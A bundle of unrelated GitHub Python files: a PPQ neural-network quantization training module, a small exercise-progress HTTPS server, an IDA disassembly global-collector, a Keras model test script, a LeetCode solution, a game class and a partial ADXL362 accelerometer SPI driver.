executor.remove_quantize_delegate(cfg)\n\n if weighted_original_loss < weighted_loss:\n logger.warning('Loss not improved, abandon trained values...')\n\n for blk in blocks:\n self.disable_grad(blk)\n if weighted_original_loss < weighted_loss:\n self.recover(blk)\n\n\n def optimize(self, processer: GraphCommandProcesser, \n dataloader: Iterable, executor: BaseGraphExecutor,\n collate_fn: Callable,\n **kwargs) -> None:\n graph = processer.graph\n assert not(self.interested_layers_only and len(self.interested_layers) == 0), \"you must specify interested_layers\\\n when interested_layers_only is set to True\"\n if self.interested_layers_only:\n # only tune interested_layers\n blocks = find_all_blocks(graph, executor._executing_order, block_limit=1)\n else:\n # tune whole subgraph which contains interested ops\n blocks = find_all_blocks(graph, executor._executing_order)\n\n if len(self.interested_layers) == 0:\n logger.info('No layers are given, all blocks will be tuned by default')\n final_blocks = blocks\n else:\n final_blocks = []\n for blk in blocks:\n if any([op.name in self.interested_layers for op in blk.rps]):\n final_blocks.append(blk)\n\n if self.mode == 'global':\n logger.info('Begin Globalwise LSQ Optimization ...')\n self.LSQ_optimize_global(final_blocks, graph, dataloader, collate_fn, executor)\n else:\n logger.info('Begin Localwise LSQ Optimization ...')\n self.LSQ_optimize_local(final_blocks, graph, dataloader, collate_fn, executor)\n\n\nclass AdvancedQuantOptimization(TrainingBasedPass):\n \"\"\"\n PPQ Advanced Quantization Optimization\n\n This optimization pass minimize the quantization errors of each subgraph separately\n by optimizing its parameters over the calibration set.\n\n Where:\n qout = quant( quant(W + W_offset) * quant(X) + quant(bias + bias_offset) )\n \n fout = W * B + bias\n \n error = Mean((qout - fout)^2)\n \n This training procedure trys to solve best W_offest and bias_offset to minimize error\n Based on your setting and network size, the training procedure will takes 5~120 minutes.\n \n This function will treat your network as series of subgraphs, you should notice that\n ONLY THE OUTPUT VALUE OF A SUBGRAPH IS OPTIMIZED IN THIS PASS, \n ACTIVATIONS THAT INSIDE YOUR SUBGRAPH MIGHT BE GREATLY CHANGED!\n DO NOT ATTEMPT TO COMPARE THOSE INTERNAL VALUE WITH ITS FP32 VERSION.\n \n We use graph search engine to build subgraph from your network with pattern below,\n see function build_block_from_start for detail information\n\n Args:\n TrainingBasedPass ([type]): [description]\n \"\"\"\n def __init__(self, collecting_device: str, limit: float = 3.0, steps: int = 5000,\n lr: float = 3e-4, interested_outputs: List[str] = None, \n interested_layers: List[str] = None,\n verbose: bool = True, check: bool = True) -> None:\n\n super().__init__(\n name='PPQ Advanced Optimization Procedure', \n interested_outputs=interested_outputs, verbose=verbose)\n\n self.lr = lr\n self.collecting_device = collecting_device\n self.check_flag = check\n self.limit = limit\n self.interested_layers = interested_layers\n self.target_step = steps\n \n self._bidx = 0\n self._num_of_blocks = 0\n \n if isinstance(self.interested_layers, list) and len(self.interested_layers) == 0:\n self.interested_layers = None\n\n def collect_training_data(\n self, output_name: str,\n dataloader: Iterable,\n executor: BaseGraphExecutor, \n collate_fn: Callable) -> List[List[torch.Tensor]]:\n\n output_collector = []\n for data in dataloader:\n if collate_fn is not None: data = collate_fn(data)\n [output] = executor.forward(data, output_names=[output_name])\n output_collector.append(output.to(self.collecting_device))\n return output_collector\n\n @ empty_ppq_cache\n def finetune(\n self, quant_inputs: List[torch.Tensor], fp32_outputs: List[torch.Tensor],\n executor: TorchExecutor, block: TrainableBlock, \n dataloader: Iterable, collate_fn:Callable) -> None:\n\n # initialize training environment.\n loss_ema = EMARecorder(beta=0.98)\n cur_iter = 0\n delegators = []\n device = executor._executing_contenxt.executing_device\n output_var = block.ep.outputs[0]\n input_var = block.sp.inputs[0]\n dataset = RandomMemDataset(data=[[qt, fp] for qt, fp in zip(quant_inputs, fp32_outputs)])\n\n # create trainable delegators for each parameter.\n trainable_vars = []\n for operation in block.rps:\n if operation.is_computing_op and isinstance(operation, QuantableOperation):\n for cfg, var in operation.config_with_variable:\n if not var.is_parameter: continue\n trainable_vars.append((var, cfg))\n \n delegators = [RQTDelegator(config=cfg, limit=self.limit, binding=var) for var, cfg in trainable_vars] \n optimizer = torch.optim.Adam(params=[d.binding.value for d in delegators], lr=self.lr)\n shcduler = torch.optim.lr_scheduler.LambdaLR(optimizer=optimizer, lr_lambda=lambda t: 1 / (1 << (t // 5000)))\n # register all quantization delegators\n for d in delegators: executor.register_quantize_delegate(d.config, d)\n \n with tqdm(total=self.target_step) as t:\n while cur_iter < self.target_step:\n qt_input, fp_output = dataset.pop()\n\n qt_input, fp_output = qt_input.to(device), fp_output.to(device)\n qt_output = executor.partial_graph_forward(\n operations=block.rps, feed_dict={input_var.name: qt_input}, \n output_names=[output_var.name])[0]\n\n # compute loss\n optimizer.zero_grad()\n round_loss = torch.sum(torch.cat([PPQRoundingLoss(d.binding.value, d.config) for d in delegators]))\n quant_loss = torch_mean_square_error(qt_output, fp_output)\n total_loss = quant_loss + round_loss * OPTIM_ADVOPT_RLOSS_MULTIPLIER\n total_loss.backward()\n\n loss_ema.push(total_loss.item())\n optimizer.step()\n if OPTIM_ADVOPT_USING_SCEHDULER: shcduler.step()\n\n cur_iter += 1\n if cur_iter % 50 == 0:\n t.set_description(desc=f'Block [{self._bidx + 1}/{self._num_of_blocks}]')\n t.set_postfix(loss = loss_ema.pop())\n t.update(50)\n \n # finalize all delegates\n for delegator in delegators:\n assert isinstance(delegator, RQTDelegator)\n delegator.finalize()\n executor.remove_quantize_delegate(delegator.config)\n\n # Check\n if self.check_flag:\n if not self.check(executor=executor, dataloader=dataloader, collate_fn=collate_fn):\n for delegator in delegators:\n assert isinstance(delegator, RQTDelegator)\n delegator.withdraw()\n\n # detach weight\n for delegator in delegators:\n assert isinstance(delegator, RQTDelegator)\n delegator.binding.value = delegator.binding.value.detach()\n\n def optimize(\n self, processer: GraphCommandProcesser, dataloader: Iterable,\n executor: TorchExecutor, collate_fn: Callable, **kwargs) -> None:\n \n if self._interested_outputs is None:\n self._interested_outputs = [name for name in processer.graph.outputs]\n\n if self.collecting_device == 'executor': \n self.collecting_device = executor._device\n\n graph = processer.graph\n block_builder = BlockBuilder(graph=graph, topo_order=executor._executing_order)\n\n # check if there is any baked value inside your graph\n for operation in graph.operations.values():\n if isinstance(operation, QuantableOperation):\n for cfg, var in operation.config_with_variable:\n if cfg.state in {QuantizationStates.BAKED, QuantizationStates.PASSIVE_BAKED}:\n raise PermissionError('Can not apply advanced optimization pass when weight value is baked. '\n f'Variable {var.name} has a baked value.')\n\n # find all operations that need to be finetuned.\n interested_ops = []\n for target_op in graph.topological_sort():\n if isinstance(target_op, QuantableOperation) and target_op.is_computing_op:\n if self.interested_layers is None: interested_ops.append(target_op)\n elif self.interested_layers is not None and target_op.name in self.interested_layers:\n interested_ops.append(target_op)\n \n # build all blocks, drop overlapped layers.\n blocks, visited = [], set()\n for op in interested_ops:\n if op in visited: continue\n block = block_builder.build(op, limit=OPTIM_ADVOPT_GRAPH_MAXDEPTH)\n \n # PATCH 20220317 drop block that has no computing op.\n if all([rp.is_computing_op == False for rp in block.rps]): continue\n if block.sp.is_computing_op == False: continue\n\n for rp in block.rps:\n if rp != block.sp and rp != block.ep:\n visited.add(rp)\n blocks.append(block)\n\n # set up checkpoints\n if self.check_flag:\n self.initialize_checkpoints(\n graph=graph, executor=executor, \n dataloader=dataloader, collate_fn=collate_fn)\n\n for bidx, block in enumerate(blocks):\n self._bidx, self._num_of_blocks = bidx, len(blocks)\n assert isinstance(block, TrainableBlock)\n\n end_op = block.ep\n block_input = block.sp.inputs[0]\n block_output = end_op.outputs[0]\n \n # dequantize prefix operations and block operations\n for op in graph.operations.values():\n if isinstance(op, QuantableOperation): \n op.dequantize()\n # can not use dequantize_immediately cause weight has been changed.\n # self.dequantize_immediately(op)\n\n fp32_outputs = self.collect_training_data(\n output_name=block_output.name, dataloader=dataloader, \n executor=executor, collate_fn=collate_fn)\n\n # quantize prefix operations and block operations\n for op in graph.operations.values():\n if isinstance(op, QuantableOperation): \n op.restore_quantize_state()\n\n quant_inputs = self.collect_training_data(\n output_name= block_input.name, dataloader=dataloader, \n executor=executor, collate_fn=collate_fn)\n\n # start training, solve the best parameters\n self.finetune(\n quant_inputs=quant_inputs, fp32_outputs=fp32_outputs,\n executor=executor, block=block,\n dataloader=dataloader, collate_fn=collate_fn)\n\n # empty cache.\n fp32_outputs.clear()\n quant_inputs.clear()\n empty_cache()\n\n\nclass LearningToCalibPass(TrainingBasedPass):\n \"\"\"\n This is an Experimental Pass, do not invoke.\n \n PPQ Leraning Based Calibration Pass\n For int8 quantization, you need to calibrate or estimate the value range, \n i.e, (min, max) of all floating-point tensors in the model. \n \n Choose value range carefully is really importance procedure during quantization.\n Usually we use methods like MSE, Percentile, KL to solve a good value range\n from prospective view, while this pass offers you another possibility.\n \n This pass will make all your quantization range as trainable, and learn to quantize\n your network with sampling methods.\n\n ATTENTION: YOU SHALL USE THIS FUNCTION AFTER ACTIVATIONS HAVE BEEN CORRECTLY CALIBRATED\n SINCE THIS FUNCTION NEEDS A SCALE AND OFFSET AS INITIALIZED VALUE.\n\n ATTENTION: ONLY CONFIGURATION WITH STATE \"ACTIVED\" WILL BE TUNED VIA THIS FUNCTION.\n \"\"\"\n \n def __init__(self, method: str = 'e-greedy', \n calib_act: bool = True, calib_weight: bool = True) -> None:\n self.method = method\n self.calib_act = calib_act\n self.calib_weight = calib_weight\n self.target_step = 7500\n self.e = 0.1\n self.collecting_device = 'cuda'\n self.arms = [1, 0.9, 1.1, 0.7, 1.3] \n # for power-of-2 policy, use bandit like [0.5, 1, 2]\n super().__init__('RL Based Calibration Pass')\n\n @ torch.no_grad()\n def calib_block(self, quant_inputs: List[torch.Tensor], fp32_outputs: List[torch.Tensor],\n executor: TorchExecutor, block: TrainableBlock, dataloader: Iterable, collate_fn: Callable):\n\n # create trainable delegators for each parameter.\n delegators = []\n for operation in block.rps:\n if isinstance(operation, QuantableOperation):\n for cfg, var in operation.config_with_variable:\n if cfg.state == QuantizationStates.ACTIVATED:\n delegators.append(BanditDelegator(arms=self.arms, config=cfg))\n delegators = [d for d in delegators if isinstance(d, BanditDelegator)]\n dataset = RandomMemDataset(data=[[qt, fp] for qt, fp in zip(quant_inputs, fp32_outputs)])\n device = executor._executing_contenxt.executing_device\n loss_ema = EMARecorder(beta=0.98)\n output_var = block.ep.outputs[0]\n input_var = block.sp.inputs[0]\n \n for delegator in delegators:\n executor.register_quantize_delegate(config=delegator.config, delegator=delegator)\n \n cur_iter = 0\n with tqdm(total=self.target_step) as t:\n while cur_iter < self.target_step:\n qt_input, fp_output = dataset.pop()\n qt_input, fp_output = qt_input.to(device), fp_output.to(device)\n\n qt_output = executor.partial_graph_forward(\n operations=block.rps, feed_dict={input_var.name: qt_input}, \n output_names=[output_var.name])[0]\n\n loss = torch_snr_error(y_pred=qt_output, y_real=fp_output).item()\n for delegator in delegators: delegator.mark(1 - loss)\n loss_ema.push(loss)\n\n cur_iter += 1\n if cur_iter % 50 == 0:\n t.set_description(desc=f'Block [{self._bidx + 1}/{self._num_of_blocks}]')\n t.set_postfix(loss = loss_ema.pop())\n t.update(50)\n\n for delegator in delegators:\n executor.remove_quantize_delegate(config=delegator.config)\n delegator.finalize()\n \n if not self.check(executor=executor, dataloader=dataloader, collate_fn=collate_fn):\n for delegator in delegators:\n delegator.withdraw()\n\n def collect_training_data(\n self, output_name: str,\n dataloader: Iterable,\n executor: BaseGraphExecutor, \n collate_fn: Callable) -> List[List[torch.Tensor]]:\n\n output_collector = []\n for data in dataloader:\n if collate_fn is not None: data = collate_fn(data)\n [output] = executor.forward(data, output_names=[output_name])\n output_collector.append(output.to(self.collecting_device))\n return output_collector\n\n def optimize(self, processer: GraphCommandProcesser, \n dataloader: Iterable, executor: TorchExecutor, \n collate_fn: Callable, **kwargs) -> None:\n \n graph = processer.graph\n block_builder = BlockBuilder(graph=graph, topo_order=executor._executing_order)\n\n # check if there is any baked value inside your graph\n for operation in graph.operations.values():\n if isinstance(operation, QuantableOperation):\n for cfg, var in operation.config_with_variable:\n if cfg.state in {QuantizationStates.BAKED, QuantizationStates.PASSIVE_BAKED}:\n raise PermissionError('Can not apply advanced optimization pass when weight value is baked. '\n f'Variable {var.name} has a baked value.')\n\n # build all blocks, drop overlapped layers.\n blocks, visited = [], set()\n for op in graph.operations.values():\n if op in visited: continue\n block = block_builder.build(op, limit=OPTIM_ADVOPT_GRAPH_MAXDEPTH)\n \n # PATCH 20220317 drop block that has no computing op.\n if all([rp.is_computing_op == False for rp in block.rps]): continue\n if block.sp.is_computing_op == False: continue\n\n for rp in block.rps: visited.add(rp)\n blocks.append(block)\n\n self.initialize_checkpoints(\n graph=graph, executor=executor, \n dataloader=dataloader, collate_fn=collate_fn)\n\n graph = processer.graph\n block_builder = BlockBuilder(graph=graph, topo_order=executor._executing_order)\n\n for bidx, block in enumerate(blocks):\n self._bidx, self._num_of_blocks = bidx, len(blocks)\n assert isinstance(block, TrainableBlock)\n\n end_op = block.ep\n block_input = block.sp.inputs[0]\n block_output = end_op.outputs[0]\n\n # dequantize prefix operations and block operations\n for op in graph.operations.values():\n if isinstance(op, QuantableOperation): \n op.dequantize()\n # can not use dequantize_immediately cause weight has been changed.\n # self.dequantize_immediately(op)\n\n fp32_outputs = self.collect_training_data(\n output_name=block_output.name, dataloader=dataloader, \n executor=executor, collate_fn=collate_fn)\n\n # quantize prefix operations and block operations\n for op in graph.operations.values():\n if isinstance(op, QuantableOperation): \n op.restore_quantize_state()\n\n quant_inputs = self.collect_training_data(\n output_name= block_input.name, dataloader=dataloader, \n executor=executor, collate_fn=collate_fn)\n\n # start training, solve the best parameters\n self.calib_block(\n quant_inputs=quant_inputs, fp32_outputs=fp32_outputs,\n executor=executor, block=block,\n dataloader=dataloader, collate_fn=collate_fn)\n\n # empty cache.\n fp32_outputs.clear()\n quant_inputs.clear()\n empty_cache()\n","repo_name":"rayechen/ppq_not_fork","sub_path":"ppq/quantization/optim/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":69084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"33243965908","text":"#!/usr/bin/env python3\n\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport ssl\nimport json\n\nstatistics = {\n \"chap1ex1\": 0,\n \"chap1ex2\": 0,\n \"chap1ex3\": 0,\n \"chap2ex1\": 0,\n \"chap2ex2\": 0,\n \"chap2ex3\": 0,\n \"chap2ex4\": 0,\n \"chap3ex1\": 0,\n \"chap3ex2\": 0,\n \"chap3ex3\": 0,\n \"chap3ex4\": 0,\n \"chap3ex5\": 0,\n \"chap3ex6\": 0,\n \"chap3ex7\": 0,\n \"chap3ex8\": 0,\n \"chap3ex9\": 0,\n \"chap3ex10\": 0,\n \"chap4ex1\": 0,\n \"chap4ex2\": 0,\n \"chap4ex3\": 0,\n \"chap4ex4\": 0,\n \"chap4ex5\": 0,\n}\n\nclass ProgressServer(BaseHTTPRequestHandler):\n \"\"\"Class to handle all HTTP requests to our little server.\"\"\"\n\n def do_GET(self):\n path = self.path.split('?')\n if len(path) > 1:\n values = path[1]\n path = path[0]\n\n # We'll only ever respond with JSON and anything goes\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n\n # The /admin path is just for me to see the stats. The students use\n # done.py in their workbooks to say when they are done. These requests\n # will be of the form /chapXexY where X and Y are the chapter and\n # exercise numbers.\n if path == \"/admin\" or path == \"/admin/\" or path == \"/admin/index.html\":\n self.wfile.write(('{\"status\":\"ok\",\"counts\":' + json.dumps(statistics) + '}').encode('utf8'))\n elif path[:10] == \"/done_chap\":\n print(path[6:])\n try:\n statistics[path[6:]] += 1\n self.wfile.write(b'{\"status\":\"ok\"}')\n except Exception as e:\n self.wfile.write(b'{\"status\":\"error\",\"message\":\"bad exercise\"}')\n\n else:\n self.wfile.write(b'{\"status\":\"error\",\"message\":\"bad path\"}')\n\n\ndef serve():\n # The server.pem certificate can be the Let's Encrypt certificate. It\n # contans the private key as well as the certificate and the full chain\n # cat server.key server.cer fullchain.cer > server.pem\n server = HTTPServer((\"0.0.0.0\", 8080), ProgressServer)\n server.socket = ssl.wrap_socket(server.socket, certfile='./server.pem', server_side=True)\n server.serve_forever()\n\nif __name__ == \"__main__\":\n serve()\n","repo_name":"drjarno/python-progress-server","sub_path":"progress-server.py","file_name":"progress-server.py","file_ext":"py","file_size_in_byte":2249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16149376491","text":"import re\r\nimport IdaOutput\r\n\r\nclass GlobalCollect(object):\r\n def __init__(self):\r\n self._tag = \"GlobalCollect\"\r\n self._globals = []\r\n\r\n def getTag(self):\r\n return self._tag\r\n\r\n def getGlobals(self):\r\n return self._globals\r\n\r\n def setGlobals(self, globals_):\r\n self._globals = globals_\r\n\r\n #MOVW R1, #(:lower16:(sub_2FD0C+1 - 0x2F270))\r\n #MOVW R1, #:lower16:(sub_2FD0C+1 - 0x2F270)\r\n #MOVT R5, #:upper16:(off_5C6E0 - loc_247EA)\r\n def scanFuncInsts(self, insts_):\r\n for inst in insts_:\r\n match = re.search(r'.+(___stack_chk_guard_ptr).+', inst.getInst())\r\n if match:\r\n if match.group(1) not in self._globals:\r\n self._globals.append(match.group(1))\r\n\r\n match = re.search(r'.*\\#\\(\\:(lower16|upper16)\\:\\((sub_[0-9A-F]{1,})(.+)', inst.getInst())\r\n if match:\r\n if match.group(2) not in self._globals:\r\n self._globals.append(match.group(2))\r\n\r\n match = re.search(r'.*\\#\\(\\:(lower16|upper16)\\:\\((off_[0-9A-F]{1,})(.+)', inst.getInst())\r\n if match:\r\n if match.group(2) not in self._globals:\r\n self._globals.append(match.group(2))\r\n\r\n #MOVT.W R0, #(:upper16:(_mach_task_self__ptr - 0x1ECA0))\r\n match = re.search(r'.*\\#\\(\\:(lower16|upper16)\\:\\(([a-z_]{1,})(\\s|\\+\\-).+', inst.getInst())\r\n if match:\r\n if match.group(2) not in self._globals:\r\n self._globals.append(match.group(2))","repo_name":"codingsf/AutoCopyArmCode","sub_path":"GlobalCollect.py","file_name":"GlobalCollect.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"17492305070","text":"import numpy as np\nimport os\nfrom configparser import ConfigParser\nfrom generator import AugmentedImageSequence\nfrom models.kerasFactory import ModelFactory\nfrom sklearn.metrics import roc_auc_score,roc_curve,auc\nfrom utility import get_sample_counts\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\ndef test():\n # parser config\n config_file = \"./config.ini\"\n cp = ConfigParser()\n cp.read(config_file)\n\n # default config\n output_dir = cp[\"DEFAULT\"].get(\"output_dir\")\n base_model_name = cp[\"DEFAULT\"].get(\"base_model_name\")\n class_names = cp[\"DEFAULT\"].get(\"class_names\").split(\",\")#14种病的类别名称\n image_source_dir = cp[\"DEFAULT\"].get(\"image_source_dir\")#图片存储地址\n\n # train config\n image_dimension = cp[\"TRAIN\"].getint(\"image_dimension\")\n\n # test config\n batch_size = cp[\"TEST\"].getint(\"batch_size\")\n test_steps = cp[\"TEST\"].get(\"test_steps\") #auto\n use_best_weights = cp[\"TEST\"].getboolean(\"use_best_weights\") #是否用最好的参数\n\n # parse weights file path\n output_weights_name = cp[\"TRAIN\"].get(\"output_weights_name\")#weights.h5\n weights_path = os.path.join(output_dir, output_weights_name)\n best_weights_path = os.path.join(output_dir, f\"best_weights.h5\")#best_weights.h5\n\n # get test sample count\n test_counts, _ = get_sample_counts(output_dir, \"test\", class_names)\n\n # compute steps\n if test_steps == \"auto\":\n test_steps = int(test_counts / batch_size)\n else:\n try:\n test_steps = int(test_steps)\n except ValueError:\n raise ValueError(f\"\"\"\n test_steps: {test_steps} is invalid,\n please use 'auto' or integer.\n \"\"\")\n print(f\"** test_steps: {test_steps} **\")\n\n print(\"** load model **\")\n if use_best_weights:\n print(\"** use best weights **\")\n model_weights_path = best_weights_path\n else:\n print(\"** use last weights **\")\n model_weights_path = weights_path\n model_factory = ModelFactory()\n model = model_factory.get_model(\n class_names,\n model_name=base_model_name,\n use_base_weights=False,\n weights_path=model_weights_path)\n\n print(\"** load test generator **\")\n test_sequence = AugmentedImageSequence(\n dataset_csv_file=os.path.join(output_dir, \"test.csv\"),\n class_names=class_names,\n source_image_dir=image_source_dir,\n batch_size=batch_size,\n target_size=(image_dimension, image_dimension),\n augmenter=None,\n steps=test_steps,#(test_count/batch)\n shuffle_on_epoch_end=False,\n )\n\n print(\"** make prediction **\")\n y_hat = model.predict_generator(test_sequence, verbose=1)\n y = test_sequence.get_y_true()\n df_yhat = pd.DataFrame(y_hat, columns=class_names)\n df_y = pd.DataFrame(y,columns=class_names)\n df_yhat.to_csv(output_dir+'df_yhat.csv',index=False)\n df_y.to_csv(output_dir + 'df_y.csv', index=False)\n\n test_log_path = os.path.join(output_dir, \"test.log\")\n print(f\"** write log to {test_log_path} **\")\n aurocs = []\n with open(test_log_path, \"w\") as f:\n for i in range(len(class_names)):\n try:\n score = roc_auc_score(y[:, i], y_hat[:, i])\n aurocs.append(score)\n except ValueError:\n score = 0\n f.write(f\"{class_names[i]}: {score}\\n\")\n mean_auroc = np.mean(aurocs)\n f.write(\"-------------------------\\n\")\n f.write(f\"mean auroc: {mean_auroc}\\n\")\n print(f\"mean auroc: {mean_auroc}\")\n\n\nif __name__ == \"__main__\":\n test()\n","repo_name":"yuho8818/MSCnnClassifier-Evualation","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3601,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"31196905624","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 19 18:19:27 2018\n\n@author: Tianqi Guo\n\"\"\"\n\nclass Solution(object):\n def jump(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n \n # length of the list\n l = len(nums)\n \n # trivial case\n if l == 1:\n return 0\n \n # steps: steps can take before making a jump\n steps = nums[0]\n # number of jumps already taken\n jumps = 1\n \n # maximum position can reach before jump\n max_reach = steps\n \n # walk through the list from beginning\n for i in range(1,l-1):\n # reduce the remaining steps by one\n steps = steps - 1\n # the maximum reachable position is now updated from the current position\n # i.e. instead of jumping to previous max_reach directly\n # we jump from previous position to current position\n # then with the same numbers of jump we can go further\n max_reach = max(max_reach,i+nums[i])\n # if the remaining steps are zero\n if steps == 0:\n # then we must jump one more time\n jumps = jumps + 1\n # and the remaining steps we can take before next jump\n # is from the current position to the maximum reachable position\n steps = max_reach - i\n \n # return how many jumps are needed\n return jumps\n \nnums = [2,3,1,1,4]\ntest = Solution()\nprint(test.jump(nums))","repo_name":"westgate458/LeetCode","sub_path":"P0045.py","file_name":"P0045.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18714751431","text":"import pandas as pd\nimport sys\nimport datetime\nfrom datetime import timedelta\nparse_dates = ['time']\nall_data = pd.read_csv(sys.argv[1], parse_dates=parse_dates)\ndates = {}\ncount = 0\nfor date in all_data[\"time\"]:\n if date in dates:\n dates[date] = dates[date] + 1\n else: \n dates[date] = 1\ndates_used = dates.copy()\nfor i, row in all_data.iterrows():\n date = row[\"time\"]\n print(date + datetime.timedelta(milliseconds= float(\"%.2f\" % (dates[date] - dates_used[date] * (1000 / dates[date])))) ) \n date_temp = date + datetime.timedelta(milliseconds= float(\"%.2f\" % (dates[date] - dates_used[date] * (1000 / dates[date]))) )\n dates_used[date] = dates_used[date] - 1\n all_data.at[i,\"time\"] = date_temp\nall_data.to_csv(sys.argv[1])","repo_name":"chathika/twitractors","sub_path":"DiscretizeTime.py","file_name":"DiscretizeTime.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"17566530244","text":"import sys\nfrom Ennemies import ennemies\nimport random\n\nclass Gobelins(ennemies): \n Weapon:str\n HasShield:bool\n ShieldPoints:int\n\n def Shielded(self, HasShield):\n if HasShield:\n ShieldPoints = 5 * self.difficulty\n else:\n ShieldPoints = 0\n\n def behaviour(self, player):\n self.protected = False\n actionDecider = random.randrange(0,101)\n if(self.dead == False):\n if(actionDecider >= 0 and actionDecider <= 60):\n self.goblinAttack(player)\n elif(actionDecider >= 61 and actionDecider <= 80):\n self.goblinProtect()\n elif(actionDecider >= 81 and actionDecider <= 100):\n print(self.CarachterName + \" is laughing at you\")\n\n def goblinAttack(self, player):\n if(player.ReturnProtect() == True):\n print(self.CarachterName +\" tried to attack you\")\n else:\n player.TakeDamage(self.AttackPoint, player.ReturnProtect())\n print(self.CarachterName +\" attacked you and did \" + str(self.AttackPoint) + \" damage\")\n\n def goblinProtect(self):\n self.protected = True\n print(self.CarachterName + \" decided to protect himself\")\n\n def __init__(self, name, level):\n super().__init__(name, level)\n self.HealthPoints = 3 * level\n self.AttackPoint = random.randrange(1,4)\n self.className = \"Gobelin\"\n self.protected = False","repo_name":"JLH54/ai_Labo","sub_path":"Ai_Labo2/Gobelins.py","file_name":"Gobelins.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34758591996","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\r\n# Import necessary libraries\r\nimport spidev\r\n# SPI configuration\r\nSPI_MAX_CLOCK_HZ = 10000000\r\nSPI_MIN_CLOCK_HZ = 100000\r\nSPI_MODE = 0b00 # CPOL = 0, CPHA = 0\r\nSPI_BUS = 1\r\nSPI_DEVICE = 0\r\n# ADXL362 addresses\r\nDEVID_AD = 0x00\r\nDEVID_MST = 0x01\r\nPARTID = 0x02\r\nREVID = 0x03\r\nXDATA=0x08\r\nYDATA=0x09\r\nZDATA=0x0A\r\nSTATUS = 0x0B\nACC_WRITE = 0x0A\nACC_READ = 0x0B\nSIZE_BUFFER=0x3\nSIZE_FIFO=0x60\r\nFIFO_ENTRIES_L = 0x0C\r\nFIFO_ENTRIES_H = 0x0D\r\nXDATA_L=0x0E\r\nXDATA_H=0x0F\r\nYDATA_L=0x10\r\nYDATA_H=0x11\r\nZDATA_L=0x12\r\nZDATA_H=0x13\r\nTEMP_L = 0x14\r\nTEMP_H = 0x15\r\nSOFT_RESET=0x1F\r\nTHRESH_ACT_L = 0x20\r\nTHRESH_ACT_H = 0x21\r\nTIMETHRESH_ACT=0x22\r\nTHRESH_INACT_L=0x23\r\nTHRESH_INACT_H=0x24\r\nTIME_INACT_L=0x25\r\nTHRESH_INACT_H=0x26\r\nACT_INACT_CTL=0x27\r\nFIFO_CONTROL=0x28\r\nFIFO_SAMPLES=0x29\r\nINTMAP1=0x2A\r\nINTMAP2=0x2B\n\r\nFILTER_CTL=0x2C\r\nPOWER_CTL=0x2D\r\nSELF_TEST=0x2E\r\nSYNC=0x2B\nRANGE=0x2C\n #Data range\r\nRANGE_2G =0x00\r\nRANGE_4G=0x01\r\nRANGE_8G=0x03\r\n# Values\r\nWRITE_BIT = 0x00\r\nREAD_BIT = 0x01\r\nDUMMY_BYTE = 0xAA\r\nMEASURE_MODE = 0x06\n\r\nclass ADXL362 :\r\n\r\n def __init__(self, measure_range=RANGE_2G):\r\n\r\n # Initialize SPI\r\n self.spi = spidev.SpiDev()\r\n self.spi.open(SPI_BUS, SPI_DEVICE)\r\n self.spi.max_speed_hz = SPI_MAX_CLOCK_HZ\r\n self.spi.mode = SPI_MODE\r\n # Initialize sensor\r\n self._set_measure_range(measure_range)\r\n self._enable_measure_mode()\r\n \r\n def write_data(self, address, value):\r\n \r\n device_address = address << 1 | WRITE_BIT\r\n self.spi.xfer2([device_address, value])\r\n \r\n def read_data(self, address):\r\n \r\n device_address = address << 1 | READ_BIT\r\n return self.spi.xfer2([device_address, DUMMY_BYTE])[1]\r\n \r\n def _set_measure_range(self, measure_range):\r\n\r\n # Write data\r\n self.write_data(RANGE, measure_range)\r\n \r\n def get_measure_range(self):\r\n \r\n # Read data\r\n raw_data = self.read_data(RANGE)\r\n # Split data\r\n measure_range = (raw_data - ((raw_data >> 2) << 2))\r\n # Return values\r\n return measure_range\r\n \r\n def _enable_measure_mode(self):\r\n \r\n # Write data\r\n self.write_data(POWER_CTL, MEASURE_MODE)\r\n \r\n def set_measure_mode(self, drdy_off, temp_off, standby):\r\n\r\n # Read register before modifying it\r\n data = self.read_data(POWER_CTL)\r\n # Preserve reserved data, discard the rest\r\n data = ((data >> 3) << 3)\r\n # Add measure mode\r\n data = data + (drdy_off << 2) + (temp_off << 1) + standby\r\n # Write data\r\n self.write_data(POWER_CTL, data)\r\n \r\n \r\n def get_axes(self):\r\n \r\n # Reading data\r\n x_data = [self.read_data(XDATA_L), self.read_data(XDATA_H)]\r\n y_data = [self.read_data(YDATA_L), self.read_data(YDATA_H)]\r\n z_data = [self.read_data(ZDATA_L), self.read_data(ZDATAH)]\r\n # Join data\r\n x_data = (x_data[0] >> 4) + (x_data[1] << 4) \\\r\n + (x_data[2] << 11)\r\n y_data = (y_data[0] >> 4) + (y_data[1] << 4) \\\r\n + (y_data[2] << 11)\r\n z_data = (z_data[0] >> 4) + (z_data[1] << 4) \\\r\n + (z_data[2] << 11)\r\n # Apply two complement\r\n x_data = twos_comp(x_data, 20)\r\n y_data = twos_comp(y_data, 20)\r\n z_data = twos_comp(z_data, 20)\r\n # Return values\r\n return [x_data, y_data, z_data]\r\n \r\n \r\n def get_temperature(self):\r\n \r\n # Reading data\r\n temp_data = [self.read_data(TEMP_L), self.read_data(TEMP_H)]\r\n # Join data\r\n temp_data = (temp_data[0]) + ((temp_data[1] \\\r\n - 